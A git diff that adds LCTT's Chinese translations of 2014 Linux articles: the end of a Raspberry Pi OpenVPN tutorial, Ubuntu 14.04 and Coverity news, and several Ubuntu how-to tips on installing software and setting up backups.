+这个文档应该看起来和下面的截屏差不多,除了你应该填入你自己的公网ip地址之外。你注意到了我已经把我的公网ip删除了,当然这是为了保护我的隐私。相对而言,每个人的本地静态ip则都差不多,他们通常都以 "192.168." 起头。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-10%20at%2011.14.04%20AM.png) + +如果你没有一个静态的公网ip的话,你需要使用动态DNS服务来给你自己一个域名来代替公网ip。我建议你使用免费服务[DNS Dynamic][4],它允许你取一个自己选择的名字。然后在你的树莓派上,你需要运行DDclient来自动更新你的DDNS注册信息。我在[这里][5]写过一篇完整的教程。 + +同样,按 Control+X 来保存文件并推出nano。 + +接下来,我们需要创建一个要用到的脚本。这个可执行脚本通常从shell中启动,可以自动化一些我们需要做的工作。 + + nano /etc/openvpn/easy-rsa/keys/MakeOPVN.sh + +[这里][6]是脚本文件,它由Jodoin编写。将内容复制粘贴至编辑器(注意一下复制粘贴中产生的问题)。 + +你需要将执行权限赋予给这个脚本。首先改变所在目录: + + cd /etc/openvpn/easy-rsa/keys/ + +然后只让root有访问权限。如果你还记得第一部分教程的内容的话,Linux中的权限管理由[不同的3位数字][7]代表。700表示"所有者可以读、写、执行"。 + + chmod 700 MakeOPVN.sh + +最后,执行文件: + + ./MakeOPVN.sh + +在脚本运行途中,他会要求你输入现有的客户端名称。例如: "Client1"。注意只输入已经存在的客户端名称。 + +如果一切正常的话,你应该会看到下面这行字弹出: + + Done! Client1.opvn Successfully Created. + +为剩下的客户端都重复执行这一步。 + +最后要做的事是将客户端连上树莓派,然后你就可以让客户端下载这些配置文件了。你需要使用一个SCP (Secure Copy Protocol)客户端来实现它。在Windows中,我推荐[WinSCP][8]。而我在mac中一直使用[Fugu][9]。 + +注意:如果你没有连接SCP客户端的权限,你需要为自己授权在此文件夹的读/写的权限。回到树莓派中输入: + + chmod 777 -R /etc/openvpn + +注意在你复制完文件后要取消这一步,以防止其他人从这里下载文件!完成之后将权限改为[600][10], 仅让 用户 pi 能读/写文件: + + chmod 600 -R /etc/openvpn + +完成后回到客户端. + +### 使用客户端软件 ### + +好了,困难的部分都结束了。从这里开始我们需要将之前生成的脚本输入到客户端的图形用户界面。对PC、Android或者iOS手机来说,你可以下载[OpenVPN Connect][11]。但是这个软件没有mac版,所以我尝试了[Tunnelblick][12]和[Viscosity][13]。 + +Tunnelblick 是免费的,但是Viscosity在免费30天试用之后需要9美刀来购买。不管怎么样,我们来尝试下将mac连入我们的服务器吧。 + +在我的情况下,mac是我第5个连接VPN的客户端,所以我生成的文件名叫做client5.opvn。 + +下载可以在你的OS X版本下运行的Tunnelblick。我在使用Mavericks,所以我下载了[beta][14]版。虽然这个软件有很多我看起来搞笑的对话框弹出,但是我下载的可不是盗版。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-10%20at%2011.37.36%20AM.png) + +接着它会问你是否有了配置文件,我当然已经有了:Cientt.opvn。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-10%20at%2011.37.58%20AM.png) + +然后它会问你,你的配置文件是.opvn或.tblk。如果你选择了.opvn它会帮你将文件格式转换成Tunnelblick自己的格式。我把Client5.opvn放到Tunnelblick指定的文件夹,然后把文件夹的名字改为了Client5.tblk。 + +好啦,你已经可以连接了。点击屏幕右上方Tunnelblick的标志然后选择Client5。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-10%20at%2011.40.04%20AM.png) + +它会让你输入密码,这个密码就是上篇中我们生成各个客户端时使用的密码。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-10%20at%2011.42.33%20AM.png) + +如果你密码输入正确,看起来就会如上图。 + +尝试在咖啡厅, 图书馆或任何有免费WiFi的地方连接VPN。通过使用VPN,即使你连接的是公共网络,你的数据仍然是安全的。 + +插图和截屏来自于ReadWrite。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/04/11/building-a-raspberry-pi-vpn-part-two-creating-an-encrypted-client-side + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://readwrite.com/2014/04/10/heartbleed-security-protect-yourself-data-passwords +[2]:http://linux.cn/article-3105-1.html +[3]:http://www.sans.org/ +[4]:https://www.dnsdynamic.org/ +[5]:http://readwrite.com/2014/04/09/raspberry-pi-projects-ssh-remote-desktop-static-ip-tutorial +[6]:https://gist.github.com/laurenorsini/10013430/revisions +[7]:http://www.thinkplexx.com/learn/article/unix/command/chmod-permissions-flags-explained-600-0600-700-777-100-etc +[8]:http://winscp.net/eng/index.php +[9]:http://download.cnet.com/Fugu/3000-7240_4-26526.html +[10]:http://linuxcommand.org/lts0070.php +[11]:http://openvpn.net/ +[12]:https://code.google.com/p/tunnelblick/ +[13]:https://www.sparklabs.com/viscosity/ +[14]:https://code.google.com/p/tunnelblick/wiki/DownloadsEntry#Tunnelblick_Beta_Release diff --git a/published/201405/Canonical's Ubuntu 14.04 focuses on the long haul.md b/published/201405/Canonical's Ubuntu 14.04 focuses on the long haul.md new file mode 100644 index 0000000000..b9b268ab26 --- /dev/null +++ b/published/201405/Canonical's Ubuntu 14.04 focuses on the long haul.md @@ -0,0 +1,61 @@ +Canonical公司的Ubuntu 14.04关注在长期服务上 +================================================================================ +> Ubuntu 14.04的服务器版配备Docker引擎和更好的固态硬盘支持 + +来自IDG新闻服务消息:因为各机构将本地系统移动到了云端,Canonical公司希望他们同时考虑更换一下操作系统到Ubuntu上。 + +Canonical公司的Ubuntu Server产品经理Mark Baker说:“当人们移动到云端时,它往往涉及到重新设计应用程序,众多企业都想要获得横向扩展和云技术的便利之处。” + +鉴于一些类似于云服务迁移的的急迫性,[据Gartner的调查][1],在未来几年内,约百分之七十的CIO打算重新评估他们在IT供应商的选择。Baker说:“我们看到了这方面的迹象。” + +前不久发布的服务器版的Ubuntu 14.04中,Canonical公司强调了在宿主环境中,机构是如何运用它来作为运行大型关键任务应用程序的基础。这个版本带有长期支持和许多云方面的软件程序,如Docker,最新版本的OpenStack。 + +> Baker说:“我们现在更加意识到我们正在创造一个为企业所采用的平台” +> +> Ubuntu 14.04 是一个长期支持版本(LTS),意味着它将会有五年的补丁和支持,这使得它作为企业长期的生产应用更可行。这次它也将允许用户从Ubuntu自身的版本库系统更新软件包。 +> +> Canonical公司每年发布两个新的Ubuntu版本,但是每两年发布一个LTS版本,其他非LTS版本只支持九个月。 +> +>使用常规的非LTS版本,九个月后,用户将不再得到bug修复,无法从Canonical那儿更新软件或操作系统。如果用户选择这样做,那他们只有约三个月来更新系统。 +> +>长期支持版本来的正是时候,它将解决在基础软件中发现的日益严重的安全漏洞,如OpenSSL的“心脏出血”安全漏洞[这使无数的Web应用程序容易受到攻击][2]. + +上周,微软停止支持Windows XP操作系统,可能会使数以百万计的用户[面临攻击][3]. + +Baker说,使用Ubuntu服务器版操作系统的人中大约有百分之七十使用LTS版本。 + +Baker说:“在没到合适时间的时候,机构并不想升级,五年是一段很长的时间,这给了他们找到正确迁移路径更多的选择。” + +Baker承认,新版本中相对较少的新包和功能,主要是由于Canonical公司为了使得软件可供长期使用。 + +该公司与其他硬件和软件供应商已经做了大量的沟通,如AMD,思科和云供应商如亚马逊,Joyent,惠普等等。 + +[星期四发布][4]的版本包括了称为冰室的最新的OpenStack云托管软件. + +值得注意的是OpenStack本身只会通过接下来的下两个版本来对每个版本进行支持,[从现在开始大约18个月][5]. + +这也是Ubuntu 14.04第一次包含Docker ——[一个开源的Linux应用容器引擎,支持轻量级运行完整的虚拟机][6] + +还包括了XFS第一版,一个最初由SGI(硅图形)公司开发的高性能的64位日志文件系统。Canonical公司的竞争对手Red Hat[计划使用XFS][7]作为小红帽Linux企业版(RHEL)的默认文件系统。 + +小红帽Linux企业版中同样包含Docker和OpenStack。 + +同样的,Canonical公司的Ubuntu也将更有效的支持固态硬盘(SSD)。Ubuntu 14.04配备了[一月份发布的][8]Linux 3.13 内核。Linux 3.13包括一个称为多队列块层的新技术,通过将作业分发到多核提高了SSD磁盘读写性能。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9247694/Canonical_39_s_Ubuntu_14.04_focuses_on_the_long_haul?taxonomyId=122 + +译者:[tenght](https://github.com/tenght) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.gartner.com/newsroom/id/2685515 +[2]:http://www.computerworld.com/s/article/9247671/Server_makers_rush_their_Heartbleed_patches +[3]:http://www.computerworld.com/s/article/9247525/Microsoft_Patch_Tuesday_bids_adieu_to_Windows_XP +[4]:https://wiki.openstack.org/wiki/Icehouse_Release_Schedule +[5]:https://wiki.openstack.org/wiki/Releases +[6]:http://www.infoworld.com/d/virtualization/docker-challenges-virtualization-market-containers-235897 +[7]:http://www.infoworld.com/t/linux/red-hat-enterprise-linux-7-beta-now-available-232520 +[8]:http://kernelnewbies.org/Linux_3.13 +[9]:http://www.phoronix.com/scan.php?page=news_item&px=MTUwNDc \ No newline at end of file diff --git a/published/201405/Coverity scan report finds open source software quality outpaces proprietary code for first time.md b/published/201405/Coverity scan report finds open source software quality outpaces proprietary code for first time.md new file mode 100644 index 0000000000..f6b1f788ad --- /dev/null +++ b/published/201405/Coverity scan report finds open source software quality outpaces proprietary code for first time.md @@ -0,0 +1,55 @@ +Coverity 扫描报告首次发现开源软件质量超过专有软件 +================================================================================ +![](http://www.ciol.com/IMG/550/80550/synopsys-logo-370x264.jpg) + +**Coverity开启了免费开发测试服务,允许任何对开源软件质量感兴趣的人查看项目** + +特点 | CIOL Bureau + +来自美国山景城(加州)的消息:Coverity公司(新思科技公司的一个子公司)发布了2013年Coverity扫描开源软件报告。 + +经过Coverity扫描服务以及按照Coverity开发测试平台的商业惯例,报告中详细分析了关于7.5亿行开源软件代码的分析,这是至今报告研究的最大的样本量。 + +在2013年Coverity扫描报告中,他们分析了超过700个C/C++开源项目和一个匿名的企业项目的样本。另外,报告中还强调了几个流行的开源Java项目的分析结果,这些项目从2013年3月就加入了扫描服务。 + +Coverity扫描开源项目报告成为了一个被广泛接受的衡量开放源代码质量状态的标准。在过去8年时间里,Coverity扫描服务分析了超过1500个开源项目的数亿行代码——其中包括的C/C++项目中有NetBSD, FreeBSD,LibreOffice和Linux等,Java项目中有Apache Hadoop,HBase以及Cassandra等。 + +自2006年已来,扫描服务帮助开发者发现和修复了超过94,000缺陷。仅在2013年一年就修复了近50,000个缺陷——这是扫描服务的用户在一年中修复缺陷的最大数量。在这些缺陷中,其中有超过11,000的缺陷修复出现在扫描服务中的四个最大的项目:NetBSD,FreeBSD,LibreOffice和Linux。 + +### 2013年报告中重要发现包括: ### + +#### C/C++项目中开源软件代码质量超过专有软件 + +缺陷密度(每1,000行软件代码所含的缺陷)是一个通用的测量软件质量的方法,缺陷密度1.0被认为是高质量软件的公认的行业标准。 + +Coverity的分析中发现,扫描服务中的开源的C/C++项目的平均缺陷密度为 0.59,而为企业项目开发的专有C/C++代码的缺陷密度为 0.72。在2013年,在所有不同大小的代码库中,扫描服务中的开源项目的代码质量超过专有项目,这进一步强调了开源社区开发测试的坚定的承诺。 + +#### Linux继续成为开源质量的基准 + +通过利用扫描服务,Linux将修复一个新发现的缺陷的时间从122天减少到仅6天!从2008年第一个Coverity扫描报告发布后,扫描过的Linux版本的缺陷密度一直小于1.0。在2013年,Coverity扫描了超过850万行Linux代码并发现缺陷密度为 0.61。 + +#### C/C++开发者修复了更多的高风险缺陷 + +Coverity分析报告发现贡献于开源Java项目的开发者修复的高风险缺陷的数量没有贡献于开源C/C++项目的开发者修复的多。 + +参加扫描服务的Java项目开发者只修复了13%的被指出的资源泄露,而C/C++项目开发者则修复了46%。这一方面可能是因为Java编程社区错误的安全感的原因,这种安全感是因为内建于语言的保护,比如垃圾收集。然而,垃圾收集是不可预测的,而且不能访问系统资源,所以这些项目处于危险之中。 + +#### HBase是Java项目的基准 + +Coverity分析了100个开源Java项目的超过800万行代码,包括流行的大数据项目Apache Hadoop 2.3 (320,000 行代码)和Apache Cassandra (345,000 行代码)。 + +自从在2013年8月加入扫描服务以来,Apache HBase (Hadoop的数据库)修复了超过220个缺陷,其中包括比其他参加扫描服务Java项目更高比例的资源泄露(HBase的缺陷中资源泄露占的比例为66%,而其他项目平均为13%)。 + +“如果说软件正在吞食世界,那么开源软件则是带头冲锋,”Coverity的产品高级总监Zack Samocha说,“我们的目标,包括Coverity扫描服务在内是帮助开源软件社区创作高质量的软件。基于这个报告的结果——以及这个日益流行的服务——使用开发测试的开源软件项目继续提升他们软件的质量,这让他们使整个行业更上一层楼。” + +Coverity今天也宣布已经开放了Coverity扫描服务,允许任何对开源软件感兴趣的人查看参与项目的进展。个人现在可以成为项目观察者,这使他们可以跟踪扫描服务中相关开源软件的状态,查看高级数据包括未解决和已修复的缺陷的数目以及缺陷密度。 + +“我们看到了请求扫描服务的人数的指数增长,他们仅仅是要监控被发现和被修复的缺陷。在许多情况下,这些人工作于大型的企业组织,那些企业组织在商业项目中使用开源软件,”Samocha补充说。“通过对个人开放扫描服务,我们提升了查看开源项目代码质量的新的可见度,他们的软件供应链中正包含这些项目。” + +-------------------------------------------------------------------------------- + +via: http://www.ciol.com/ciol/features/213112/coverity-scan-report-source-software-quality-outpaces-proprietary-code/page/1 + +译者:[linuhap](https://github.com/linuhap) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201405/Daily Ubuntu Tips \342\200\223 Identify Folders By Colors In Ubuntu.md" "b/published/201405/Daily Ubuntu Tips \342\200\223 Identify Folders By Colors In Ubuntu.md" new file mode 100644 index 0000000000..c484cfcedc --- /dev/null +++ "b/published/201405/Daily Ubuntu Tips \342\200\223 Identify Folders By Colors In Ubuntu.md" @@ -0,0 +1,67 @@ +每日 Ubuntu 小技巧——以色辨夹 +================================================================================ + +这篇简短的文章将教会你如何在Ubuntu 14.04或者其先前版本中使用美化工具来实现通过颜色分辨文件夹。这个工具就是**Folder Color**,它允许用户改变 Nautilus 文件浏览器中文件夹的颜色,这样就可以让用户很容易地识别并区分它们。 + + +这个工具的开发者设计初衷是与 Nautilus 配合使用,其实它也可以与Ubuntu上其它的图标主题配合使用。这是一个很好的工具,轻量级,不会影响你的系统的性能。 + +这个软件安装起来方便,让下面这个简短的教程告诉你如何做吧。 + +假如你想将重要的文件夹设置成红色的,或者将文档文件夹设置为黄色,你可以用Folder Color轻松地更改它们的颜色。 + +接下来教你来安装这个工具。 + +在Ubuntu 中**Ctrl - Alt - T**打开终端。添加下面的PPA源。 + + sudo add-apt-repository ppa:costales/folder-color + + +然后运行下面的命令更新你的系统并安装Folder Color。 + + sudo apt-get update && sudo apt-get install folder-color + +这样安装就可以了。现在你要做的就是注销登录然后再次登入系统或者重新启动Nautilus 。打开Nautilus,在你想改变颜色的文件夹上右键单击选择你想要的颜色。这些是预先定义的颜色,或许无法满足你的需要,但是对于大多数用户来说这足够了。 + + +如果你想卸载它,运行下面的命令移除PPA源。 + + sudo add-apt-repository -r ppa:costales/folder-color + + +最后,运行下面的命令移除Folder Color 。 + + sudo apt-get update && sudo apt-get remove folder-color + +使用愉快! + +![](http://www.liberiangeek.net/wp-content/uploads/2014/04/foldercolorubuntu.png) + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/04/daily-ubuntu-tips-identify-folders-by-colors-in-ubuntu/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git "a/published/201405/Daily Ubuntu Tips \342\200\223 Install NetBeans IDE 8.0 In Ubuntu.md" "b/published/201405/Daily Ubuntu Tips \342\200\223 Install NetBeans IDE 8.0 In Ubuntu.md" new file mode 100644 index 0000000000..17833ffefe --- /dev/null +++ "b/published/201405/Daily Ubuntu Tips \342\200\223 Install NetBeans IDE 8.0 In Ubuntu.md" @@ -0,0 +1,58 @@ +每日 Ubuntu 小技巧 : Ubuntu 中安装 NetBeans IDE 8.0 +================================================================================ +NetBeans 8.0 刚刚发布,如果你还没有安装的话,这篇简短的教程将会演示如何在 Ubuntu 系统上快速的安装。对安装 NetBeans 需要帮助的开发者来说,这往篇文章会是不错的指导。 + +给那些还不知道 NetBeans 的解释下,NetBeans 是一款 IDE 应用软件工具,用户可以快速、高效的开发和构建桌面应用程序、移动应用程序及网页应用程序。 + +它是免费及和开源的产品,并且由很多用户及开发者所组成的一个巨大社区所支持。 + +在发布的版本 8 里面增加的一些功能是:对 JDK 8 编辑器和工具增强功能的支持、Tomcat 8.0 的支持、CDI 增强功能集成、一个新的 Maven 图形布局切换器、一个支持和创造 JQuery 控件和插件的编辑器、HTML 5 及 PHP 5.5 的支持。 + +关于此发布版本更多细节,[请查看它的发布主页][1]。 + +下载和安装 NetBeans IDE 有两种主要的方式。一种是下载包含 JDK8 和 NetBeans 的一个包文件。这种组合使得运行在 Java 平台的应用程序可扩展性很强。 + +[从这儿下载][2],可获得此包。 + +另外一种获得 NetBeans 的方法就是直接从它的官方下载页面来下载和安装。这种方式,可以有选择性的下载包含有像 NetBeans 平台 SDK、Java FX、Java EE、Java ME、HTML5、C/C++、Groovy、PHP 和 Apache 的 Tomcat 8.0 等组件的完全包。 + +有五个可选的下载包,选择您想要的一个,然后点击下按钮。 + +要获得这些包,请浏览[ NetBeans 下载页面][3]。 + +### 安装 NetBeans 前安装 Java JDK ### + +在安装 NetBeans 前,必须要安装 Java JDK。没有 JDK,NetBeans 是安装不上的。关于怎么安装 Java JDK 的知识,可以读读 [这篇文章][4]。 + +安装了 Java JDK 后,继续下面的 NetBeans 安装。 + +如果您选择的是 Oracle 公司的版本的话,JDK 已经集成在下载包文件中了,您需要做的就是运行可执行文件把 JDK 和 NetBeans 都安装上。 + +下载好您需要的安装包后,运行如下的命令,使安装包变为可执行状态。 + + chmod +x ~/Downloads/netbeans-8.0-linux*.sh + +上面的命令是假设这个文件已经下载到您的 Ubuntu 系统的下载目录中了。 + +下一步,运行如下命令来开始安装。 + + sh -c " ~/Downloads/netbeans-8.0-linux*.sh" + +根据安装向导操作,直到安装完成。 + +![netbeans-ubuntu](http://www.liberiangeek.net/wp-content/uploads/2014/03/netbeansubuntu.png) + +祝你顺利~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/03/daily-ubuntu-tips-install-netbeans-ide-8-0-in-ubuntu/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://netbeans.org/community/releases/80/index.html +[2]:http://www.oracle.com/technetwork/java/javase/downloads/jdk-netbeans-jsp-142931.html +[3]:https://netbeans.org/downloads/ +[4]:http://www.liberiangeek.net/2013/10/netbeans-ide-7-4-released-heres-install-ubuntu/ \ No newline at end of file diff --git "a/published/201405/Daily Ubuntu Tips \342\200\223 Manually Install Oracle Java JDK 8 In Ubuntu.md" "b/published/201405/Daily Ubuntu Tips \342\200\223 Manually Install Oracle Java JDK 8 In Ubuntu.md" new file mode 100644 index 0000000000..106abeee1d --- /dev/null +++ "b/published/201405/Daily Ubuntu Tips \342\200\223 Manually Install Oracle Java JDK 8 In Ubuntu.md" @@ -0,0 +1,63 @@ +每日 Ubuntu 小技巧 - 在 Ubuntu 中手动安装 Oracle Java JDK 8 +================================================================================ +这篇简短的教程将会演示如何在 Ubuntu 系统中安装 Oracle 公司最新发布的 Java JDK 8。这里使用的方法是教你如何从下载页面下载安装包,然后不使用外部的 PPA 或者第三方源代码在 Ubuntu 中安装。 + +这种方法不需要依赖于第三方的源仓库。你只需要从 Oracle 的官方下载页直接下载,然后安装就行。 + +JDK 8 是一个重要的发行版本,也加入了最新的叫做 Lambda 表达式的新语言功能,此功能可以“把函数用作方法参数,或者代码块当作日期数据使用”。 + +这一个版本也发布了一个新的 java.util.stream 包类集合,提供了基于流的 API,用来支持函数式操作的功能。 + +关于此次发布版本的更多信息,请访问它的发布主页 @ [http://www.oracle.com/technetwork/java/javase/8-whats-new-2157071.html][1] + +要下载和安装 Java JDK8,请访问[下载页][2]获得最新的发行版本。根据你机器的 Ubuntu 系统的情况可以选择下载 32 位或 64 位的发行版本。 + +这里是[下载页面][3] + +在下载之前,您必须接受许可协议。 + +下载文件,保存。在 Ubuntu 系统中 Firefox 浏览器会默认保存到 **~/Downloads** 目录下。 + +![oracle-jdk8-ubuntu ](http://www.liberiangeek.net/wp-content/uploads/2014/03/oraclejdk8ubuntu.png) + +第二步,打开终端运行如下命令来解压下载的文件。 + + tar -xvf ~/Downloads/jdk-8-linux-x64.tar.gz + +然后运行如下的命令,在 /usr/lib 目录中创建一个为保存 Java JDK 8 文件的目录。 + + sudo mkdir -p /usr/lib/jvm/jdk1.8.0/ + +接下来运行如下命令把解压的 JDK 文件内容都移动到创建的目录中。 + + sudo mv jdk1.8.0/* /usr/lib/jvm/jdk1.8.0/ + +下一步,运行如下命令来配置 Java + + sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0/bin/java" 1 + +接下来,拷贝和粘贴下面这一行到终端执行,以启用 Javac 模块。 + + sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0/bin/javac" 1 + +最后,拷贝和粘贴下面一行到终端以完成最终的安装。 + + sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0/bin/javaws" 1 + +要验证下 Java 是否已经完全安装的话,可以运行下面的命令来测试。 + + java –version + +祝你玩的开心~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/03/daily-ubuntu-tips-manually-install-oracle-java-jdk-8-in-ubuntu/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.oracle.com/technetwork/java/javase/8-whats-new-2157071.html +[2]:http://www.oracle.com/technetwork/java/javase/downloads/index.html +[3]:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html diff --git a/published/201405/Daily Ubuntu Tips--Automatically Backing Up Ubuntu 14.04 To Box Cloud Storage.md b/published/201405/Daily Ubuntu Tips--Automatically Backing Up Ubuntu 14.04 To Box Cloud Storage.md new file mode 100644 index 0000000000..c761f152fd --- /dev/null +++ b/published/201405/Daily Ubuntu Tips--Automatically Backing Up Ubuntu 14.04 To Box Cloud Storage.md @@ -0,0 +1,53 @@ +Ubuntu 每日技巧- 自动备份Ubuntu 14.04到Box云存储上 +================================================================================ +如今你已经升级或者安装了Ubuntu 14.04, 但是还有另外一件保护你的新系统需要做的事情:备份! + +Ubuntu内置了一个备份工具 **Déjà Dup Backup Tool**。它允许你备份你的系统并保存在本地或者通过不同的协议保存在远端服务器上。 + +还有许多其他的工具来备份你的Ubuntu计算机与文件。你可以通过[Dropbox 客户端][1]或者其他云服务来自动备份你的重要文档。你也有可能使用UbuntuOne来备份你的机器,但现在这不再是一个选择了。 + +另外一个可以用来备份你机器的云存储是Box。Box是一个很棒的服务,它是Dropbox的一个替代品。Box云存储的一个缺点是它没有Dropbox那样的Linux客户端。 + +它的一个好处是它有Dropbox不支持的通过WebDAV协议来备份你的文件。 + +本篇简要教程会教你如何使用Box云服务来自动备份你的Ubuntu机器。 + +在你开始之前,你首先要确保你有一个Box账号,如果没有,请先前去注册。 + +当你完成后,打开**Dash** 并搜索备份。或者进入**选项 (Gear) –> 系统设置 –> 备份** + +![ubuntu1404-backup](http://www.liberiangeek.net/wp-content/uploads/2014/04/ubuntu1404backup.png) + +接下来,选择备份的文件夹(即保存),忽略的文件夹,以及在哪里保存备份。位置是我们要首先设置的。对于存储位置,我们选择**WebDAV** 。接下来输入服务器地址(如下所示), 文件夹应该是/dav/,并输入你的Box用户名。 + +![ubuntu1404-backup-1](http://www.liberiangeek.net/wp-content/uploads/2014/04/ubuntu1404backup11.png) + +回到概况,选择**立即备份**。 + +![ubuntu1404-backup-2](http://www.liberiangeek.net/wp-content/uploads/2014/04/ubuntu1404backup2.png) + +你会被要求输入密码。输入后继续。 + +![ubuntu1404-backup-3](http://www.liberiangeek.net/wp-content/uploads/2014/04/ubuntu1404backup3.png) + +在下一屏中,你可以选择是否用密码加密备份。我建议不要这么做,因为忘记密码可能也会有危险。(译注:当然那些秘密的东西你就不要备份到这里了) + +第一次备份后,前往打开定期备份设置。接着进入计划并选择对于你最好的备份计划。 + +要打开定期备份,要将右上角的滑动条拖到右边(即变成橙色的“ON”)。 + +![ubuntu1404-backup-4](http://www.liberiangeek.net/wp-content/uploads/2014/04/ubuntu1404backup4.png) + +就是这样!你现在可以进入'保存的文件夹' 并开始加入更多需要备份的文件夹。 + +体验一下吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/04/daily-ubuntu-tips-automatically-backing-up-ubuntu-14-04-to-box-cloud-storage/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.liberiangeek.net/2014/04/daily-ubuntu-tips-get-dropbox-installed-in-ubuntu-14-04-trusty-tahr/ diff --git a/published/201405/Daily Ubuntu Tips--Make Ubuntu 14.04 Trusty Tahr Perform Better.md b/published/201405/Daily Ubuntu Tips--Make Ubuntu 14.04 Trusty Tahr Perform Better.md new file mode 100644 index 0000000000..1969ec18c1 --- /dev/null +++ b/published/201405/Daily Ubuntu Tips--Make Ubuntu 14.04 Trusty Tahr Perform Better.md @@ -0,0 +1,48 @@ +每日Ubuntu技巧 :让Trusty Tahr变得更好 +================================================================================ + +Ubuntu 14.04 Trusty Tahr 已发布,如果你是其中之一的安装者,你需要做一些事来提升你的使用体验。 + +对于那些升级,这可能已经做完了,你不必再去做它,除非你没有在Ubuntu 13.10 里做这些。 + +Ubuntu 并不是完全开箱即用的。有一些可以提升体验的包和工具由于合法问题被Canonical排除在外。 + +这些包如果没有安装,会使观看电影,播放flash视频和收听MP3文件变得困难。由于法律或者其他原因,Ubuntu的父公司将它们排除在外。 + +如果你希望做上面这些事情,你必须继续下去来学习如何解决这些问题。 + +对于已经安装Ubuntu 13.10 并且准备升级的人,[阅读这篇文章][1],或者点击下面的链接。 + +当你已经升级或者安装好了Ubuntu 14.04,打开你的命令行,接着运行下面的命令来安装缺失的可以在Ubuntu上更简易地播放媒体文件的包。 + + sudo apt-get install ubuntu-restricted-extras + +当提示输入密码后,按回车继续。在安装完后,继而测试你的系统。这个包帮助安装Adobe Flash Player,MP3编码器,这样你就可以收听MP3音乐,电影插件来观看合法的DVD电影,和其他有用的事。 + +因此,无论你何时安装Ubuntu,首先试着安装这个包。这会在你使用Ubuntu时,提升你的一点体验。 + +这还有一种情况是你想要观看加密的DVD电影。在这种情形下,你需要运行下面的命令。 + + sudo apt-get install libavformat-extra-54 libavcodec-extra-54 libdvdread4 + +接着运行下面的命令,你就完成了。 + + sudo /usr/share/doc/libdvdread4/install-css.sh + +最后,安装VLC媒体播放器,这是一个在Windows和Linux系统上一个很棒的观看DVD电影的程序。 + + sudo apt-get install vlc + +希望这对你有帮助。 + +祝你体验愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/04/daily-ubuntu-tips-make-ubuntu-14-04-trusty-tahr-perform-better/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-upgrade-to-ubuntu-14-04-trusty-tahr-from-13-10/ diff --git a/published/201405/Daily Ubuntu Tips--Ubuntu One Shuts Down, Switch To Dropbox Or Box Cloud Services.md b/published/201405/Daily Ubuntu Tips--Ubuntu One Shuts Down, Switch To Dropbox Or Box Cloud Services.md new file mode 100644 index 0000000000..a745756379 --- /dev/null +++ b/published/201405/Daily Ubuntu Tips--Ubuntu One Shuts Down, Switch To Dropbox Or Box Cloud Services.md @@ -0,0 +1,78 @@ +Ubuntu每日小技巧-Ubuntu One关闭后如何切换到Dropbox或Box云服务 +============================================================== + +Canonical公司决定关闭Ubuntu One的云服务,你可能正在寻找备份你主机的其他服务器,尽管现在有很多云服务的提供商,但是大服务商中仅有小部分支持包括Ubuntu在内的linux。 + +Dropbox全面支持Ubuntu,它有一个很好的整合了ubuntu桌面系统和其他通知栏的客户端。Box,官方的Box.net也可以通过WebDav协议支持linux。 + +这里有一段来自Canonical公司关于Ubuntu One的摘录: + +> 从4月2日开始,就不能访问Ubuntu One中的存储或音乐了。Ubuntu One服务也不会再包含在Ubuntu 14.04 LTS中,而Ubuntu One的应用也将从Ubuntu、Google和Apple的应用商店移除。 + +也就是说我们在ubuntu中失去了这项有用的服务。另一方面,把你的数据移动到一个更稳定、更好信誉的网盘提供商是一个比较好的选择。 + +这里简要的说明一下怎样在ubuntu中运行DropBox或者Box云服务。 + +###在ubuntu中安装DropBox云盘 + 